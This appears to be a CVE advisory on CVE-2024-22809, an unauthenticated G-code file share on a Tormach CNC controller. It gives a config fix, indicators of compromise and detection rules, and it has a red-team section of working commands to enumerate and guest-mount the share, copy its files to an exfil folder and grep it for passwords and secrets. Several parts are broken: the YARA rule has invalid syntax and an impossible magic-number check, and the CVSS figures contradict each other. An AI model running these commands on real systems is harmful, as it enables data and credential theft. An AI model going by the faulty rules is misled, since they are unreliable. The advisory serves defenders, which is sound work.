CVE-2024-22809

Executive Summary

CVE-2024-22809 exposes an incorrect access control vulnerability in the Tormach xsTECH CNC Router running PathPilot Controller v2.9.6. This flaw allows an attacker with local or network access to the shared G-code folder to view sensitive information, including proprietary machining programs, tool paths, and potentially credentials stored in configuration files. The vulnerability stems from overly permissive file system permissions on the G-code share, which is typically mounted via SMB or NFS. No official patch has been released as of this analysis, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed industrial environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level access control issue in a proprietary industrial control system (ICS) product.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: Medium (based on impact and exploitability)

Rationale: While no CVSS vector is provided, the vulnerability allows unauthorized read access to sensitive G-code files. In a manufacturing environment, this could lead to intellectual property theft, sabotage, or recon for further attacks. The attack vector is likely network-adjacent (local network) with low complexity and no authentication required, but the impact is limited to confidentiality.

Estimated Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (Base Score: 6.5)

Deep Dive & Mechanics

The Tormach PathPilot Controller v2.9.6 exposes a shared folder (typically /media/gcode or a similar path) via SMB/CIFS or NFS for users to upload and manage G-code files. The vulnerability lies in the file system permissions: the share is configured with world-readable or overly permissive access controls, allowing any user on the local network to browse, read, and potentially copy files without authentication.

Root Cause: The smb.conf or NFS export configuration does not enforce user-level authentication or restrict access to authorized hosts. The default configuration likely sets guest ok = yes or public = yes for the G-code share.

Attack Scenario:

1. An attacker gains access to the same network segment as the CNC router (e.g., via a compromised workstation, rogue device, or physical access).
2. The attacker enumerates SMB/NFS shares using tools like smbclient, enum4linux, or showmount.
3. The attacker mounts the G-code share without credentials.
4. The attacker reads all G-code files, extracting sensitive machining parameters, tool paths, and possibly embedded credentials.

Impact:

• Intellectual Property Theft: G-code files contain proprietary machining strategies and designs.
• Operational Reconnaissance: Attackers can analyze tool paths to understand manufacturing capabilities.
• Lateral Movement: If credentials are stored in configuration files, the attacker can pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Configuration (v2.9.6):

# /etc/samba/smb.conf (example)
[gcode]
   path = /media/gcode
   browseable = yes
   read only = no
   guest ok = yes
   public = yes

Patched Configuration (Hypothetical):

# /etc/samba/smb.conf (patched)
[gcode]
   path = /media/gcode
   browseable = yes
   read only = yes
   guest ok = no
   valid users = @cnc_operators
   force user = cnc_user

Key Differences:

• guest ok = yes changed to no – requires authentication.
• read only = no changed to yes – prevents write access.
• Added valid users directive to restrict access to a specific group.
• Added force user to ensure files are owned by a non-privileged user.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the same network segment as the Tormach xsTECH CNC Router.
• Tools: smbclient, mount.cifs, enum4linux, nmap.

Step 1: Enumerate SMB Shares

nmap -p 445 --script smb-enum-shares <target_ip>

Step 2: List Shares with smbclient

smbclient -L //<target_ip> -N

Step 3: Mount the G-code Share

mkdir /mnt/gcode
mount -t cifs //<target_ip>/gcode /mnt/gcode -o guest,uid=$(id -u),gid=$(id -g)

Step 4: Extract Sensitive Data

find /mnt/gcode -type f -name "*.gcode" -exec cp {} /tmp/exfil/ \;
grep -r "password\|credential\|secret" /mnt/gcode/

Step 5: Clean Up

umount /mnt/gcode
rm -rf /mnt/gcode

Blue Team

Detection:

• Monitor SMB/NFS connections to the CNC router from unexpected IPs.
• Alert on multiple failed mount attempts or enumeration scans.
• Use file integrity monitoring (FIM) on the G-code share.

Hunting:

• Search for smbclient or mount.cifs usage in process logs.
• Look for guest or anonymous logins in SMB audit logs.

Hardening:

• Restrict network access to the CNC router using VLANs or firewall rules.
• Enable SMB signing and encryption.
• Implement 802.1X network access control.

Indicators of Compromise (IOCs)

Network IOCs:

• SMB traffic to port 445 on the CNC router from unauthorized IPs.
• NFS traffic to port 2049 from unexpected sources.
• smbclient or mount.cifs commands in process logs.

File IOCs:

• Unauthorized copies of .gcode files in /tmp/ or other staging directories.
• Presence of enum4linux or nmap output files.

System IOCs:

• Modified /etc/samba/smb.conf or /etc/exports files.
• New user accounts added to the cnc_operators group.

Detection Engineering

YARA Rule

rule CVE_2024_22809_Gcode_Exfil {
   meta:
      description = "Detect exfiltration of G-code files from Tormach CNC router"
      author = "Valters IT"
      date = "2024-01-01"
      reference = "CVE-2024-22809"
   strings:
      $gcode_ext = ".gcode"
      $gcode_header = "G21" or "G90" or "G17"
      $smb_mount = "mount -t cifs" nocase
      $smb_client = "smbclient" nocase
   condition:
      (uint16(0) == 0x4d5a or uint16(0) == 0x7f454c46) and
      (#gcode_ext > 5) and
      ($smb_mount or $smb_client)
}

Sigma Rule

title: CVE-2024-22809 - Unauthorized SMB Access to Tormach CNC Router
id: 7a8b3c4d-5e6f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to mount or enumerate SMB shares on a Tormach CNC router without authentication.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22809
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/smbclient'
            - '/mount.cifs'
            - '/mount.nfs'
        CommandLine|contains:
            - '//<target_ip>/gcode'
            - '-N'
            - '-o guest'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert smb any any -> $HOME_NET 445 (msg:"CVE-2024-22809 - Tormach CNC Router SMB Share Enumeration"; flow:to_server; content:"|00 00 00 00|"; depth:4; content:"|ff 53 4d 42|"; distance:0; within:4; content:"|72 00|"; distance:0; within:2; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; distance:0; within:16; reference:cve,2024-22809; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Guest Access: Edit /etc/samba/smb.conf and set guest ok = no for the G-code share.
2. Require Authentication: Add valid users = @cnc_operators and create a dedicated group.
3. Restrict Network Access: Use firewall rules to allow only trusted IPs to connect to ports 445 and 2049.
4. Enable Logging: Configure SMB audit logging to capture all access attempts.

Long-Term Fixes:

• Apply firmware updates from Tormach when available.
• Implement network segmentation (VLANs) for all ICS devices.
• Use a VPN or jump host for remote access.
• Regularly audit share permissions and access logs.

Workaround:

• If patching is not possible, change the share to read-only and remove guest access. Monitor logs for unauthorized access attempts.

Valters IT
Securing Industrial Environments, One CVE at a Time.